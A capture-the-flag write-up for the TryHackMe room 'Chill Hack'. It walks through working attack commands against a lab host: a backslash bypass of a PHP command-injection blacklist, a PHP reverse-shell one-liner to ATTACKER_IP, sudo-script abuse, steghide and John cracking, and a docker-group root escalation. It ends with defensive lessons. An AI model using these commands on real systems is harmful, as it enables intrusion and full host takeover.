root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat chill-hack.md
// Offensive

Chill Hack

21 Nov 2026 · 6 min read
Executive summary — Chill Hack is an Easy Linux challenge on TryHackMe that chains a PHP command-execution page protected by a naive blacklist, a sudo-allowed helper script, steganography plus ZIP cracking, and a Docker group membership. The path is Web command injection → www-data → sudo script → apaar → hidden credentials → anurodh → docker group → Root.
PlatformTryHackMe
Operating systemLinux (Ubuntu 20.04)
DifficultyEasy
RoomChill Hack
Target IPMACHINE_IP

Attack map

[21/FTP]   anonymous login -> note.txt ("some filtering on the command")
   |
   v
[80/HTTP]  gobuster -> /secret (command box, blacklist of words)
   |  bypass by splitting a blacklisted word with a backslash (p\hp)
   v
[SHELL]    www-data via PHP reverse shell
   |  sudo -l -> (apaar) NOPASSWD: /home/apaar/.helpline.sh
   v
[apaar]    script runs the "message" as a command -> /bin/bash
   |  /var/www/files/images -> JPEG with steghide payload
   v
[LOOT]     backup.zip -> john -> source_code.php -> Base64 password
   |  SSH as anurodh
   v
[ROOT]     anurodh is in the docker group -> mount / into a container -> chroot

1. Reconnaissance

A default-script, version-detection scan is the cheapest way to see what the host offers and to spot easy wins such as anonymous logins at the same time:

sudo nmap -sV -sC MACHINE_IP
  • -sV fingerprints service versions, so we know the stack (Ubuntu, Apache 2.4.41, OpenSSH 8.2p1).
  • -sC runs the default NSE scripts; the ftp-anon script is the one that matters here.
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Game Info
Analysis: three services. SSH is a later destination once we have credentials, FTP allows anonymous access and already lists a file, and the website is the likely entry point.

2. FTP and web enumeration

Anonymous FTP means any password is accepted. We log in and download the single file:

ftp anonymous@MACHINE_IP
ftp> ls
ftp> get note.txt
ftp> quit
cat note.txt
Anurodh told me that there is some filtering on strings being put in the command -- Apaar

The note is a hint in disguise: somewhere a feature runs a "command" and a developer has added a filter. It also leaks two usernames, anurodh and apaar. Clicking around the "Game Info" site shows only static pages, so we brute-force for hidden content:

gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 32 -r
  • -x php,txt,html appends extensions, because the server is Apache with PHP.
  • -r follows redirects and -t 32 raises the thread count to finish the 880k-line list quickly.

Among the usual template files (about.html, blog.html, team.html, /images, /css, ...), one directory stands out: /secret.

3. Command execution behind a blacklist

/secret contains a form that passes whatever you type to a shell and prints the output; id returns www-data. But typing common commands such as ls or which nc prints an "Are you a hacker?" page, which is the filtering the note warned about. Probing with harmless commands reveals the environment:

  • pwd returns /var/www/html/secret.
  • echo * acts as a substitute for ls and shows only index.php.
  • grep black index.php prints the line that defines the blacklist, since grep is not on it.
$blacklist = array('nc','python','bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');

The full source can be exfiltrated too, by Base64-encoding it and decoding locally (base64 index.php). Reading it explains why the filter is weak: the input is split on spaces with explode(" ", $cmd) and each token is compared for exact equality with a blacklisted word, then the whole string is passed to shell_exec().

Analysis: an exact-match token filter is trivially bypassed, because the shell normalises the command after PHP has checked it. A backslash inside a word is removed by the shell, so p\hp is not equal to php for the filter but runs php for the shell. Quotes (c''at) and variable tricks work in the same way. Blacklisting is the wrong design; the real fix is not to pass user input to a shell at all.

4. Reverse shell as www-data

On the attacking machine, start a listener:

nc -lvnp 12345

Then submit this in the form. PHP is used because we have just shown that it is installed, and fsockopen creates a socket whose descriptor (3) is then given to a shell as stdin, stdout and stderr. The word bash sits inside a string passed to PHP, not as a separate space-delimited token, so the filter does not see it:

p\hp -r '$sock=fsockopen("ATTACKER_IP",12345);exec("bash <&3 >&3 2>&3");'

The listener receives a connection as www-data. We upgrade it to a usable TTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z, then on the attacker machine:
stty raw -echo; fg
export SHELL=bash TERM=xterm

5. Pivot to apaar through sudo

Searching for user.txt finds nothing, so we look in /home. Three real users exist (anurodh, apaar, aurick). Only apaar's directory is world-readable, and it contains a flag file we cannot read yet plus a suspicious hidden script, .helpline.sh:

cat /home/apaar/.helpline.sh
sudo -l
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person,  Please enter your message: " msg
$msg 2>/dev/null

User www-data may run the following commands on ...:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

The script executes the second input as a command. Because www-data may run it as apaar without a password, anything we type is run as that user. Two uses:

  • Read the flag directly: enter cat local.txt # (the # turns the script's own 2>/dev/null redirection into a comment, so output is visible) to get the user flag, FLAG.
  • Get an interactive shell: enter /bin/bash.
sudo -u apaar /home/apaar/.helpline.sh
# person: anything
# message: /bin/bash
The script has to be invoked with its full path, exactly as listed in the sudoers rule; a relative path does not match the rule.

6. Hidden data in the second web root

Beside /var/www/html there is a second site, /var/www/files, with account.php (a login class that builds its SQL by string concatenation), hacker.php, and an images directory. The page hacker.php literally says "Look in the dark! You will find your answer", a nudge toward steganography. The files are readable, but to inspect them properly we serve the images directory with a temporary web server and download both files:

# on the target, inside /var/www/files/images
python3 -m http.server 8000

# on the attacker machine
wget http://MACHINE_IP:8000/hacker-with-laptop_23-2147985341.jpg
wget http://MACHINE_IP:8000/002d7e638fb463fb7a266f5ffc7ac47d.gif

Steghide works on JPEG and BMP, so the JPEG is the candidate. An empty passphrase is the first thing to test:

steghide info hacker-with-laptop_23-2147985341.jpg
steghide extract -sf hacker-with-laptop_23-2147985341.jpg

Pressing Enter at the passphrase prompt works and drops backup.zip, which contains source_code.php but is itself password protected. zip2john converts the archive into a hash that John can crack against rockyou.txt:

zip2john backup.zip > backup_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt backup_hash.txt
unzip backup.zip

John recovers the password pass1word almost instantly. The extracted file is an "Admin Portal" script that compares base64_encode($password) with a hard-coded string and greets Anurodh on success. Decoding the constant gives the password:

echo 'IWQwbnRLbjB3bVlwQHNzdzByZA==' | base64 -d
!d0ntKn0wmYp@ssw0rd
Analysis: Base64 is an encoding, not encryption, and storing a credential in source code means whoever finds the file has it. Here the credential was also reused as the system password for anurodh.

7. SSH as anurodh

ssh anurodh@MACHINE_IP

The recovered password is accepted. Running id shows the decisive detail: anurodh belongs to the docker group.

8. Root through the docker group

Members of docker can talk to the Docker daemon, which runs as root. Anyone who can start a container can mount the host filesystem into it and act as root on it; this is the documented GTFOBins technique:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  • -v /:/mnt bind-mounts the host root directory at /mnt inside the container.
  • alpine is a tiny image already present on the machine (no internet required).
  • chroot /mnt sh changes the apparent root to the host filesystem and starts a shell, which runs as uid 0.

id now reports uid=0(root). The final flag is /root/proof.txt: FLAG.

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconvsftpdAnonymous login exposing an internal noteInformation disclosure, usernames
Initial access/secret (PHP)OS command injection with an exact-match blacklistRemote code execution as www-data
Lateral movementsudo + .helpline.shScript executes user input; passwordless sudo as apaarShell as apaar
Credential accessImages and backup.zipSteganography with empty passphrase, weak ZIP password, Base64 credential in sourcePassword for anurodh
Privilege escalationDockerUser in docker groupFull root on the host

Lessons learned

  • Never build features that pass user input to shell_exec(). Blacklists fail because the shell interprets the string after the filter has inspected it; use allow-lists and native APIs instead.
  • A sudo rule that points at a script which runs arbitrary input is equivalent to giving that user a shell.
  • Membership of the docker group is effectively root access and should be treated as such.
  • Do not hide secrets in images, archives or source code, and do not reuse application credentials for system accounts.
  • Offensively: when a blacklist blocks a command, check what is not blocked (echo *, grep, base64) to read files and the filter code itself.